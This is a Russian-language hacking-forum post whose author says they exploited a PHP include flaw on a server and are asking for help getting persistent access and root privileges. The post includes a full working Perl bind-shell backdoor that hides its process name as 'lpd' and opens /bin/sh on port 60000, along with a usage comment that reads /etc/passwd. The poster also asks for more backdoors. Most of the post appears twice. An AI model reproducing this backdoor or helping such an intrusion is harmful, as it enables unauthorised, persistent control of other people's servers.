ya_mag
02.01.2008, 03:05
Вобщем ситуация такая есть на одном серваке php инклуд т.е. доступ к консоле есть но вот сталкнулся с такой проблемой заливаю бакконект компилирую и нифига не работает... он ко мне не конектится пробовал несколько перловых скриптов бак конект и бакдор тоже не работает посоветуйте как можно закрепится на этом серваке и как поднять прова?
и 2-ое есть ещё один сервак там без проблем работает бакконект но этот скрипт:
#!/usr/bin/perl
# * Usage:
# remote.com$ ./nohup bindshell.pl &
# remote.com$ exit
# Connection closed by foreign host
# localhost$ telnet remote.com 60000
# Trying 192.168.1.1...
# Connected to remote.com.
# Escape character is '^]'.
# (user@remote.com:/home/user/)
# cat /etc/passwd; etc
use Socket;
$port = 60000;
$proto = getprotobyname('tcp');
$cmd = "lpd";
$system = 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';
$0 = $cmd;
socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
}
не правильно как то работает т.е. я подключаюсь к нему через телнет и он мне все время выдает курсор не в начале строки а с отступом и при попытках запустить хоть одну команду постаянно пишет ошибку :( что в нем не так... или подскажите какие нибудь другие бакдоры.
ЗЫ: пожалуйсто отвечайте по подробней!
зараннее спасибо!
и 2-ое есть ещё один сервак там без проблем работает бакконект но этот скрипт:
#!/usr/bin/perl
# * Usage:
# remote.com$ ./nohup bindshell.pl &
# remote.com$ exit
# Connection closed by foreign host
# localhost$ telnet remote.com 60000
# Trying 192.168.1.1...
# Connected to remote.com.
# Escape character is '^]'.
# (user@remote.com:/home/user/)
# cat /etc/passwd; etc
use Socket;
$port = 60000;
$proto = getprotobyname('tcp');
$cmd = "lpd";
$system = 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';
$0 = $cmd;
socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
}
не правильно как то работает т.е. я подключаюсь к нему через телнет и он мне все время выдает курсор не в начале строки а с отступом и при попытках запустить хоть одну команду постаянно пишет ошибку :( что в нем не так... или подскажите какие нибудь другие бакдоры.
ЗЫ: пожалуйсто отвечайте по подробней!
зараннее спасибо!